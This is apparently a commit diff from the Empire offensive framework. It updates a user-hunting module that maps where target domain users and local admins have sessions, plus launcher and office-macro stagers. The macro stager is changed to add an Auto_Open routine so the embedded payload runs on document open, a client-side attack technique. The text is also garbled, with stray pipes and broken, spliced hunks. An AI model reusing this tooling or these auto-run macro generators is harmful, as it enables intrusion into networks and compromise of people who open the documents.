'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : 'Hostlist to enumerate.',
|
||||
'ComputerFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'GroupName' : {
|
||||
'Description' : 'Group name to query for target users.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'TargetServer' : {
|
||||
'Description' : 'Hunt for users who are effective local admins on a target server.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -56,23 +61,18 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'Group to query for user names.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserList' : {
|
||||
'Description' : 'List of usernames to search for.',
|
||||
'UserFilter' : {
|
||||
'Description' : 'A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'StopOnSuccess' : {
|
||||
'Description' : 'Switch. Stop when a target user is found.',
|
||||
'Description' : 'Switch. Stop hunting after finding after finding a target user.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
|
||||
'Description' : "Don't ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -86,13 +86,28 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ShowAll' : {
|
||||
'Description' : 'Switch. Show all result output.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain to enumerate for hosts.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ShowAll' : {
|
||||
'Description' : 'Switch. Return all user location results without filtering.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Stealth' : {
|
||||
'Description' : 'Switch. Only enumerate sessions from connonly used target servers.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : 'The maximum concurrent threads to execute.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -111,8 +126,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -123,9 +140,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-UserHunter "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -135,9 +153,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
script += "| Select-Object TargetUser, Computer, IP, SessionFrom, LocalAdmin | ft -autosize | Out-String | %{$_ + \"`n\"}"
|
||||
|
||||
script += ';"`nInvoke-UserHunter completed"'
|
||||
|
||||
return script
|
|
@ -19,8 +19,8 @@ class Module:
|
|||
# True if the module needs to run in the background
|
||||
'Background' : False,
|
||||
|
||||
# True if we're saving the output as a file
|
||||
'SaveOutput' : True,
|
||||
# File extension to save the file as
|
||||
'OutputExtension' : None,
|
||||
|
||||
# True if the module needs admin rights to run
|
||||
'NeedsAdmin' : False,
|
||||
|
@ -112,4 +112,4 @@ Invoke-Something"""
|
|||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
return script
|
||||
return script
|
||||
|
|
|
@ -26,7 +26,7 @@ class Stager:
|
|||
'Value' : ''
|
||||
},
|
||||
'OutFile' : {
|
||||
'Description' : 'File to output .bat launcher to, otherwise displayed on the screen.',
|
||||
'Description' : 'File to output .vbs launcher to, otherwise displayed on the screen.',
|
||||
'Required' : False,
|
||||
'Value' : '/tmp/launcher.vbs'
|
||||
},
|
||||
|
|
|
@ -9,7 +9,7 @@ class Stager:
|
|||
|
||||
'Author': ['@enigma0x3', '@harmj0y'],
|
||||
|
||||
'Description': ('Generates an office macro for Empire.'),
|
||||
'Description': ('Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types.'),
|
||||
|
||||
'Comments': [
|
||||
'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/'
|
||||
|
@ -79,7 +79,10 @@ class Stager:
|
|||
for chunk in chunks[1:]:
|
||||
payload += "\tstr = str + \"" + str(chunk) + "\"\n"
|
||||
|
||||
macro = "Sub Document_Open()\n"
|
||||
macro = "Sub Auto_Open()\n"
|
||||
macro += "\tDebugging\n"
|
||||
macro += "End Sub\n\n"
|
||||
macro += "Sub Document_Open()\n"
|
||||
macro += "\tDebugging\n"
|
||||
macro += "End Sub\n\n"
|
||||
|
||||
|
|
Loading…
Reference in New Issue